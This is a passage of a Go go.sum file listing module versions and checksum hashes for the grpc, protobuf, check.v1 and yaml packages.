google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/grpc v1.27.1 h1:zvIju4sqAGvwKspUQOhwnpcqSbzi7/H6QomNNjTL4sk=
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=